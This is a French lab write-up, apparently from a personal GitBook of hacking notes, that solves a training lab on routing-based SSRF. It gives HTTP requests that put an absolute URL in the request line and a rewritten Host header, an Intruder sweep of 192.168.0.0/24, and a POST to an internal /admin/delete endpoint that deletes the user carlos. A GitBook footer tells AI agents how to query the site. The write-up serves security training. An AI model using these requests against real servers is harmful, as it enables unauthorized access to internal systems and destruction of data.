> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/host-header/ssrf-via-incorrect-query-parsing.md).

# SSRF via une analyse incorrecte de la requête

### SSRF via une analyse de requête défectueuse

Ce labo est vulnérable à une **SSRF basé sur le routage**. Le serveur interprète mal l'hôte réellement ciblé par la requête. L'objectif est d'atteindre le panneau d'administration interne, puis de supprimer l'utilisateur **carlos**.

### Observation initiale

Modifiez directement le `Host` L'en-tête ne fonctionne pas. La requête reste bloquée.

```http
Host: jord4n.pro
```

<figure><img src="/files/4895d5432a9c8122483cf811edfef7087946bbad" alt=""><figcaption></figcaption></figure>

### Analyse autour de

Le point clé ici est le format de la requête. Lors de l'utilisation d'une **URL**, l'application tente de résoudre l'hôte indiqué dans la ligne de requête. Le `Host` l'en-tête devient alors secondaire.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

La réponse confirme ce comportement. Le serveur tente d'atteindre `test.com`.

```html
<h1>
    Erreur du serveur : délai d'attente de la passerelle (3) lors de la connexion à test.com
</h1>
```

<figure><img src="/files/e14ac77c9cbdf8614c3fbd47096ebd7068c0b002" alt=""><figcaption></figcaption></figure>

### Découverte d'hôte interne

Nous pouvons maintenant parcourir le `192.168.0.0/24` plage interne. La méthode la plus simple consiste à utiliser **Intruder** sur le dernier octet.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

Le `192.168.0.92` adresse répond avec `302` code. Cette réponse indique la présence du panneau d'administration.

<figure><img src="/files/747ddc358f50024cd758000b197969d687b29a84" alt=""><figcaption></figcaption></figure>

### Suppression de l'utilisateur

Après avoir identifié l'hôte interne, nous ouvrons `/admin`. Nous récupérons ensuite le jeton CSRF depuis la page. Il suffit d'envoyer la requête de suppression à l'hôte interne.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

La suppression de **carlos** valide le labo.

<figure><img src="/files/0e846ae8b4f8bfb1b05ffb566a2a34557df40675" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/host-header/ssrf-via-incorrect-query-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
